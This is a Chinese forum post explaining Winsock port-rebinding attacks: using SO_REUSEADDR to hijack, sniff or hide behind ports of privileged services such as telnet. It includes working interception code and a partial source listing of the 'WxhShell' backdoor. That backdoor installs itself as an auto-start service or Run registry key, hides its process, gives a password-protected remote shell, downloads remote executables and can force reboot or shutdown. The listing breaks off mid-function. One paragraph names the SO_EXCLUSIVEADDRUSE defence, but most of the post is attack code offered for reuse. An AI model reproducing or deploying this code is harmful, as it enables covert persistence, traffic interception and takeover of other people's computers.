社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15558阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: YOOcHo.F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U/ds(*g@  
gug9cmA/Q7  
  saddr.sin_family = AF_INET; _\&v A5-  
Mbm'cM&}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'k'"+  
t?Ku6Z'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  GY`mF1b  
/tdRUX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (}B3df  
@=<B8VPJd  
  这意味着什么?意味着可以进行如下的攻击: >G9YYt~  
*RYok{w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L0\~ K~q  
xqSoE[<v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,F%2'W  
S$N!Dj@e;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i1dE.f ;  
8yCt(ms  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  s@ 02 ?+/  
Uv)B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7m$EZTw?  
Z1}@N/>>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 iWGn4p'  
(zr2b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =0t<:-?.-  
:%[mc-6.  
  #include D?.H|%  
  #include Y~TD)c=  
  #include '2z1$zst,#  
  #include    [_HY6gr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @ / .w%  
  int main() +-r ~-bs  
  { ctOBV  
  WORD wVersionRequested; F,8?du]  
  DWORD ret; rSa=NpFxLu  
  WSADATA wsaData; 6nA/LW\x  
  BOOL val; P(%^J6[>  
  SOCKADDR_IN saddr; fK|P144   
  SOCKADDR_IN scaddr; 2WK c;?  
  int err; +R8G*2  
  SOCKET s; {nPiIPH  
  SOCKET sc; v\lKY*@f  
  int caddsize; )TfX}  
  HANDLE mt; 70<{tjyc  
  DWORD tid;   &j}:8Tst  
  wVersionRequested = MAKEWORD( 2, 2 ); t i&!_  
  err = WSAStartup( wVersionRequested, &wsaData ); "T@9#7Obu  
  if ( err != 0 ) { 9^+E$V1@  
  printf("error!WSAStartup failed!\n"); K+\2cf?bU  
  return -1; xs6kr  
  } eC3 ~|G_O  
  saddr.sin_family = AF_INET; G\z5Ue*  
   LzTdi%u$0|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Hp>_:2O8s  
-K (>uV!?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &g"`J`  
  saddr.sin_port = htons(23); %At.nlss  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u!-v1O^[  
  { 4L bll%[9  
  printf("error!socket failed!\n"); XL7||9,(h  
  return -1; :85QwN]\  
  } TKp2C5bX  
  val = TRUE; '':MhRb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EQtYb"_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5?Ukf$)x  
  { oj/#wF+  
  printf("error!setsockopt failed!\n"); %Yt;)q3U  
  return -1; K&VMhMVb  
  } <0!<T+JQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;i?rd f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G<-<>)zO!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :K~sazs7J  
G0A\"2U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,8.$!Zia  
  { >,ABE2t5  
  ret=GetLastError(); e3mFO+  
  printf("error!bind failed!\n"); i}e/!IVR3  
  return -1; ix hF,F  
  } =9h!K:,k  
  listen(s,2); 6 w'))Z  
  while(1) T/FZn{I  
  { T>pyYF1Q  
  caddsize = sizeof(scaddr); iR"6VO  
  //接受连接请求 ;X;(7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Gs\D`| 3=  
  if(sc!=INVALID_SOCKET) Jj/}GVNc7  
  { y=0)vi{]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GExr] 2r  
  if(mt==NULL) kl1/(  
  { 34QW^{dgE  
  printf("Thread Creat Failed!\n"); I7W`\d)  
  break; ^T#jBqe  
  } W&k@p9  
  } Qz89=#W  
  CloseHandle(mt); S,EL=3},=  
  } ~{ GTL_w  
  closesocket(s); 4jc?9(y%  
  WSACleanup(); vjzG H*  
  return 0; 5Bt~tt  
  }   $<9u:.9xf  
  DWORD WINAPI ClientThread(LPVOID lpParam) AhkDLm+  
  { 9 p,O>I  
  SOCKET ss = (SOCKET)lpParam; T^F83Py<  
  SOCKET sc; ;b (ww{&  
  unsigned char buf[4096]; (*b<IGi;  
  SOCKADDR_IN saddr; Be9,m!on  
  long num; XG!6[o;  
  DWORD val; ]j!pK4  
  DWORD ret; mMvAA;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %LM6=nt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L?Ys(a"k  
  saddr.sin_family = AF_INET; 5$$# d_Gj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); CG95ScrX  
  saddr.sin_port = htons(23); J$PlI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F9Af{*Jw?x  
  { lMH~J8U3  
  printf("error!socket failed!\n"); l,~`o$ _  
  return -1; /+*N.D'`t,  
  } r\cY R}v  
  val = 100; 1]9w9! j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eY-h<K)y  
  { QJ(5o7Tfn  
  ret = GetLastError(); f5p/cUzX  
  return -1; A;^ iy]"  
  } cU-A1W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QT5pn5+ z  
  { t\h4-dJn  
  ret = GetLastError(); E[7E%^:Mg  
  return -1;  q(X7e  
  } 9]{va"pe7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "h #/b}/  
  { ?"^{:~\N  
  printf("error!socket connect failed!\n"); A*vuSQt(  
  closesocket(sc); B`t/21J  
  closesocket(ss); xjSzQ| k-  
  return -1; 4"H *hKp  
  } ][b|^V  
  while(1) ^|=P9'4Th  
  { \#xq$ygg  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Qwt0~9n(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZJenwo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x.4z)2MO  
  num = recv(ss,buf,4096,0); 4U_+NC>b  
  if(num>0) 73]8NVm  
  send(sc,buf,num,0); F+GX{e7E\  
  else if(num==0) /G|v.#2/g  
  break; hv?T}E  
  num = recv(sc,buf,4096,0); 7{(UiQbf  
  if(num>0) KK5;6b  
  send(ss,buf,num,0); fm@Pa} ,  
  else if(num==0) _5H~1G%q  
  break; U[|5:qWs  
  } 8sU5MQ5  
  closesocket(ss); &F/-%l!  
  closesocket(sc); 8zpzVizDG  
  return 0 ; "\O7_od-  
  } Yku6\/^  
6PYm?i=p?  
Vfga%K%l F  
========================================================== y631;dU  
934j5D  
下边附上一个代码,,WXhSHELL %8 D>aS U  
`^,E4Qy  
========================================================== oH+PlL  
/Jc{aw  
#include "stdafx.h" 8nu!5 3  
qHp2;  
#include <stdio.h> 0O,;[l  
#include <string.h> Zs{7km  
#include <windows.h> LSA6*Q51  
#include <winsock2.h> b_a k@LYiu  
#include <winsvc.h> 6r`N\ :18  
#include <urlmon.h> U65l o[  
tW4X+d"  
#pragma comment (lib, "Ws2_32.lib") vPGUE`!D+  
#pragma comment (lib, "urlmon.lib") _@y uaMoW=  
||Owdw|{  
#define MAX_USER   100 // 最大客户端连接数 !yPy@eP~  
#define BUF_SOCK   200 // sock buffer OdZ/\_Z  
#define KEY_BUFF   255 // 输入 buffer e"wz b< b  
<" nWGF4d  
#define REBOOT     0   // 重启 `kxC# &HO  
#define SHUTDOWN   1   // 关机 l?2  
#*/nUbsg  
#define DEF_PORT   5000 // 监听端口 =1dczJHV  
05k'TqT{c  
#define REG_LEN     16   // 注册表键长度 #O !2  
#define SVC_LEN     80   // NT服务名长度 z,$uIv}'@  
`,xO~_ e>  
// 从dll定义API 'G~i;o  2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K}cA%Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g-wE(L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,*U-o}{8C?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 717THci3Y  
D4@?>ek6U  
// wxhshell配置信息 rh1PpsSc  
struct WSCFG { Qw5(5W[L  
  int ws_port;         // 监听端口 R[v0T/  
  char ws_passstr[REG_LEN]; // 口令 -&`_bf%M  
  int ws_autoins;       // 安装标记, 1=yes 0=no v0dzM/?*  
  char ws_regname[REG_LEN]; // 注册表键名 qbsod  
  char ws_svcname[REG_LEN]; // 服务名 k kAg17 ^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y>x"/jzF#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iAQ[;M 3p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y705  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2w3LK2`ZL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oA[`| ji  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :0Jn`Ds4o  
gJr)z7W'8  
}; D{Nd2G  
n]Yz<#  
// default Wxhshell configuration q[VQ?b~9  
struct WSCFG wscfg={DEF_PORT, l"E{ ?4  
    "xuhuanlingzhe", U`=r .>  
    1, ed/B.SY  
    "Wxhshell", hBX.GFnw  
    "Wxhshell", F?R6zvive  
            "WxhShell Service", ?_d>-NC  
    "Wrsky Windows CmdShell Service", 8|{ZcW  
    "Please Input Your Password: ", 8tR6.09'  
  1, EBW*v '  
  "http://www.wrsky.com/wxhshell.exe", L!l?tM o  
  "Wxhshell.exe" o.NU"$\?  
    }; ]gVA6B?&9  
B=K<k+{6"  
// 消息定义模块 .eg'Z@o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ] 9C)F*r7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zA6C{L G3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z+;$cfN  
char *msg_ws_ext="\n\rExit."; )cRHt:  
char *msg_ws_end="\n\rQuit."; Uz,P^\8^$  
char *msg_ws_boot="\n\rReboot..."; Jj [3rt?8  
char *msg_ws_poff="\n\rShutdown..."; 4cSs=|m?+  
char *msg_ws_down="\n\rSave to "; 9C,gJp}P  
@xBb|/I  
char *msg_ws_err="\n\rErr!"; 5JVBDA^#om  
char *msg_ws_ok="\n\rOK!"; guYP|  
75^*4[  
char ExeFile[MAX_PATH]; Gdb0e]Vt+  
int nUser = 0; GY-4w@Wl  
HANDLE handles[MAX_USER]; 8aVQW_m}  
int OsIsNt; K/C}  
:KvZP:T  
SERVICE_STATUS       serviceStatus; &$CyT6mb^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cJq {;~   
6x(b/`VW  
// 函数声明 NiVLx_<Pr'  
int Install(void); X%-hTl  
int Uninstall(void); rU"AO}6\@  
int DownloadFile(char *sURL, SOCKET wsh); D[@- `F  
int Boot(int flag); U&B(uk(2  
void HideProc(void); P;25 F  
int GetOsVer(void); hl**G4z9q  
int Wxhshell(SOCKET wsl); k7*-v/ *S  
void TalkWithClient(void *cs); B^dMYFelJ  
int CmdShell(SOCKET sock); DL~! ^fx  
int StartFromService(void); 0K.$C~ C  
int StartWxhshell(LPSTR lpCmdLine); "~=}&  
2BOH8Mp9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gsQn@(;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >BO!jv!a  
cp8w _TPU  
// 数据结构和表定义 V4"o.G3\o  
SERVICE_TABLE_ENTRY DispatchTable[] = st"@kHQ3  
{ :%mls Nw  
{wscfg.ws_svcname, NTServiceMain}, YGChVROG~  
{NULL, NULL} D&mPYxXL  
}; Fczia0@z  
L!33`xef'  
// 自我安装 [*) 2Ou  
int Install(void) iWW!'u$+I`  
{ LL3| U  
  char svExeFile[MAX_PATH]; fy>3#`T-  
  HKEY key; !$iwU3~<  
  strcpy(svExeFile,ExeFile); gPK O-Fsd"  
|Zn,|-iW  
// 如果是win9x系统,修改注册表设为自启动 %iIr %P?  
if(!OsIsNt) { Iu~(SKr=|$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u_ :gqvC=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  nSo.,72  
  RegCloseKey(key); `ZC -lAY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^v;8 (eF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gv)*[7  
  RegCloseKey(key); f~=e  
  return 0; }o GMF~  
    } su\Lxv  
  } Aj\m57e,6  
} >/GYw"KK  
else { mrE> o !  
7[kDc-  
// 如果是NT以上系统,安装为系统服务 -y&>&D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u^ wG Vg  
if (schSCManager!=0) 96F+I!qC  
{ ^JIs:\ g<<  
  SC_HANDLE schService = CreateService QB* AQ5-  
  ( H9VdoxKo  
  schSCManager, ?5d[BV   
  wscfg.ws_svcname, }/NL"0j+4  
  wscfg.ws_svcdisp, :8)3t! A  
  SERVICE_ALL_ACCESS, m7> )p]]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 78Zb IL  
  SERVICE_AUTO_START, $dt* 4n'  
  SERVICE_ERROR_NORMAL, >> -{AR0  
  svExeFile, `o+J/nc  
  NULL, W}(xE?9&  
  NULL, sV~|9/r  
  NULL, M _Lj5`  
  NULL, W7V#G(cpU  
  NULL "[L+LPET  
  ); =%FhY^-  
  if (schService!=0) Fok`-U  
  { LwQYO'X  
  CloseServiceHandle(schService); ~ebm,3?  
  CloseServiceHandle(schSCManager); 1RQM-0W,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /4*>.Nmb,f  
  strcat(svExeFile,wscfg.ws_svcname); =cR=E{20  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y3'K+?4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A:sP%c;  
  RegCloseKey(key); BXl Y V"  
  return 0; 3XjY  
    } <m`Os2#  
  } ap|V}j C  
  CloseServiceHandle(schSCManager); w01\KV  
} .ddf'$6h  
} H8qAj  
3AuLRI  
return 1; 5&U?\YNLa  
} $>l65)(E\  
l=&Va+K  
// 自我卸载 1NlpOVq:)  
int Uninstall(void) y7 W7270)  
{ <^A1.o< GN  
  HKEY key; c30 kb  
*zPz)3;  
if(!OsIsNt) { G`jJKiC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5@Xy) z  
  RegDeleteValue(key,wscfg.ws_regname); [ 3SbWwg  
  RegCloseKey(key); Kv\uBMJNW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P<xCg  
  RegDeleteValue(key,wscfg.ws_regname); 2 mvp|< "  
  RegCloseKey(key); }cy<$=c#E_  
  return 0; 7}e{&\0=l  
  } TbR Ee;1  
} 1,G f;mcQ  
} FVH R  
else { DVyxe}  
a*@4W3;7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5fhe{d"si  
if (schSCManager!=0) T 3 +lYE  
{ ];}7 %3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1QuR7p  
  if (schService!=0) v|r#  
  { klC48l  
  if(DeleteService(schService)!=0) { +Xr87x;  
  CloseServiceHandle(schService); UazUr=| e  
  CloseServiceHandle(schSCManager); <Dp[F|r  
  return 0; Nf{tC9l  
  } Q|HOy8O}Z  
  CloseServiceHandle(schService); &f>1/"lnd\  
  } _/[(&}M  
  CloseServiceHandle(schSCManager); w8AHs/'r  
} F1zsGlObu}  
} h)C `w'L  
OOX}S1lA  
return 1; Q pbzx/2h  
} NA8$G|.?  
wn{DY v7B  
// 从指定url下载文件 'St\$X  
int DownloadFile(char *sURL, SOCKET wsh) {BJn9B  
{ J{5&L &4  
  HRESULT hr; GCA?sFwo>  
char seps[]= "/"; |/35c0IM  
char *token; {d,~=s0T  
char *file; 'd 6z^Z6  
char myURL[MAX_PATH]; A@lY{e  
char myFILE[MAX_PATH]; Jq?"?d|:  
7q _.@J  
strcpy(myURL,sURL); m:XMF)tW  
  token=strtok(myURL,seps); ghqq%g  
  while(token!=NULL) !|S{e^WhbU  
  { KF`@o@,  
    file=token; zz+[]G+"2m  
  token=strtok(NULL,seps); "@)9$-g  
  } 3DO ^vV  
T]Eg9Y:+v  
GetCurrentDirectory(MAX_PATH,myFILE); < ekLL{/O'  
strcat(myFILE, "\\"); |;_uN q9  
strcat(myFILE, file); @5\ns-%  
  send(wsh,myFILE,strlen(myFILE),0); |\~!o N  
send(wsh,"...",3,0); U*6)/.J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9AdA|/WV  
  if(hr==S_OK) g>O O '}lF  
return 0; o}K!p %5_  
else S+(-k0  
return 1; Od:, r  
RZ&T\;m,7  
} v81H!c.*  
n$T'gX#5  
// 系统电源模块 <U() *0  
int Boot(int flag) CwVORf,uA  
{ 42: 6=\  
  HANDLE hToken; ;4 ON  
  TOKEN_PRIVILEGES tkp; gNG_,+=!  
]1 OZY@  
  if(OsIsNt) { r|tTDKGQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XZFM|=%X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _7"G&nZ0  
    tkp.PrivilegeCount = 1; 2U;ImC1g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S @'fmjA'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &qP&=( $  
if(flag==REBOOT) { u;qBW uO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z!GLug*j`  
  return 0; 8E| Nf  
} m:7$"oq|  
else { HsGyNkr?r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4>&%N\$*  
  return 0; ' 4nR^,  
} 6U`yf&D  
  } *h>KeIB;  
  else { ]D;X"2I2'b  
if(flag==REBOOT) { ED={OZD8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C&vUZa[p  
  return 0; Q,mmHw.`J  
} }G#TYF}  
else { 3i'L5f67  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xn'{g  
  return 0; }qf)L .  
} .*s1d)\:  
} lklMdsIdj  
M 8BN'% S  
return 1; Ok=RhoZZ  
} CN$wlhs  
[y}0X^9,E  
// win9x进程隐藏模块 ;r_YEPlZ  
void HideProc(void) 2 R !1Vl  
{ RTW4r9~'  
:! h1S`wS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yqm^4)Dp  
  if ( hKernel != NULL ) <I{)p;u1  
  { aD1G\*AFJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M@V.?;F},  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E  K)7g~  
    FreeLibrary(hKernel); VE<&0d<  
  } m\88Etl@  
o#-K,|-  
return; /^kZ}}9baU  
} \WnI&nu  
J<<0U;  
// 获取操作系统版本 <= xmJx-V  
int GetOsVer(void) +|N!(H  
{ >+w(%;i;  
  OSVERSIONINFO winfo; ,3t('SE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8()L}@y  
  GetVersionEx(&winfo); hDp -,ag{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JwNG`M Gc  
  return 1; \/J7U|@Lt  
  else yE(>R(^  
  return 0; a+TlZE>8  
} pFLR!/J  
9~^%v zM  
// 客户端句柄模块 `43`*=  
int Wxhshell(SOCKET wsl) 8Q&hhmOnz  
{ wr/Z)e =^3  
  SOCKET wsh; ][|)qQ%V  
  struct sockaddr_in client; meHAa`  
  DWORD myID; ]E1aIt  
Qo !/]\  
  while(nUser<MAX_USER) ckXJ9>  
{ d3fF|Wp1  
  int nSize=sizeof(client); MVW2 %6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7T]}<aK<c[  
  if(wsh==INVALID_SOCKET) return 1; 8,BNs5  
#HD$=ECcw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :h1-i  
if(handles[nUser]==0) 0Dj<-n{9  
  closesocket(wsh); ;IC:]Zu  
else HB+\2jEE  
  nUser++; T [ `t?,  
  } Q7X6OFl?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7-"ml\z  
\$o!M1j  
  return 0; uFM]4v3  
} h2 2-v X  
T-)Ur/qp  
// 关闭 socket @;iW)a_M  
void CloseIt(SOCKET wsh) KJ]:0'T  
{ \Gh]$s p  
closesocket(wsh); N@$g"w  
nUser--;  o *2TH2  
ExitThread(0); [-)N}rL>  
} (Yz EsY  
`p@YV(  
// 客户端请求句柄 ~yH<,e  
void TalkWithClient(void *cs) yIBT*,4  
{ c}a.  
3%?01$k  
  SOCKET wsh=(SOCKET)cs; %(GWR@mfC  
  char pwd[SVC_LEN]; A2{u("^[6  
  char cmd[KEY_BUFF]; #>+O=YO  
char chr[1]; Hmt} @  
int i,j; eeX^zaKl]  
\$Xo5f<  
  while (nUser < MAX_USER) { 12\h| S~  
!Pf_he  
if(wscfg.ws_passstr) { T6[];|%W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >=|Dir  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Y^UC2TBs  
  //ZeroMemory(pwd,KEY_BUFF); }Yt/e-Yg%r  
      i=0; *{t{/^'y  
  while(i<SVC_LEN) { hr&&"d {s  
m}\G.$h4  
  // 设置超时 p2N;-  
  fd_set FdRead; zY\pZG  
  struct timeval TimeOut; YGP.LR7  
  FD_ZERO(&FdRead); 7mipj]  
  FD_SET(wsh,&FdRead); ]sBSLEie '  
  TimeOut.tv_sec=8; c:0nOP  
  TimeOut.tv_usec=0; tG(#&54  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); byl#8=?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =B9Ama   
`+_UG^aeW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -lr)z=})  
  pwd=chr[0]; jm1f,=R  
  if(chr[0]==0xd || chr[0]==0xa) { 6eSc`t&  
  pwd=0; 8_8r{a<xW  
  break; 8X":,s!  
  } `mTpL^f  
  i++; xSFY8  
    } VG*Tdaua~  
Q}p+/-U\  
  // 如果是非法用户,关闭 socket }D_h*9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~|e?@3_G  
} RG [*:ReB9  
OOy]:t4 /  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); . :Q[Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i3~"qbU%z[  
[5 Mt,skC:  
while(1) { hu (h'  
bD_|n!3  
  ZeroMemory(cmd,KEY_BUFF); Tw BwqQ)t  
b/IT8Cm3  
      // 自动支持客户端 telnet标准   E/mp.f2!  
  j=0; .LDK+c  
  while(j<KEY_BUFF) { |QwX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \M~M  
  cmd[j]=chr[0]; Wk$ 7<gkr  
  if(chr[0]==0xa || chr[0]==0xd) { !Z978Aub3&  
  cmd[j]=0; vzl+0"  
  break; tu}AJ  
  } uMl.}t2uYu  
  j++;  gBQK  
    } =e'b*KTL,  
GxWA=Xp^~G  
  // 下载文件 W]kh?+SZ  
  if(strstr(cmd,"http://")) { EoM}Co  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vL"U=Q+/eY  
  if(DownloadFile(cmd,wsh)) }oH A@o5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '@)47]~  
  else %?K1X^52d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gqR?hZD  
  } M>hHTa?W  
  else { ,7:_M> -3g  
qkB)CY7  
    switch(cmd[0]) { PjriAlxD  
  ea-NqdGs;m  
  // 帮助 .v<c_~y  
  case '?': { asT:/z0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @!z9.o;  
    break; VT1Nd  
  } J(+I`  
  // 安装 <fq?{z  
  case 'i': { Jolr"F?  
    if(Install()) E)liuu! qI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OYKeu(=L  
    else OZ\]6]L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |_Vi8Ly  
    break; zlC|Spaf  
    } j0b?dKd  
  // 卸载 SE= 3`rVJ  
  case 'r': { j+0=)Q%I=  
    if(Uninstall()) dIiQ^M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o:E+c_^q`  
    else smEKQHB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rW$ )f  
    break; E- ,/@4k  
    } EU?)AxH^  
  // 显示 wxhshell 所在路径 P?%kV  
  case 'p': { #~J)?JL  
    char svExeFile[MAX_PATH]; 4:\1S~WW  
    strcpy(svExeFile,"\n\r"); ~e<l`rg#  
      strcat(svExeFile,ExeFile); T_ ifDQX;  
        send(wsh,svExeFile,strlen(svExeFile),0); icW?a9b&  
    break; k fER  
    } ld58R  
  // 重启 ]O Nf;RH  
  case 'b': { L}O_1+b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t}LV[bj1u  
    if(Boot(REBOOT)) 2\h]*x% :  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~nk{\ rWO  
    else { S;DqM;Q  
    closesocket(wsh); )-$Od2u2c  
    ExitThread(0); 9-)D"ZhLe  
    } [4uTp[U!r  
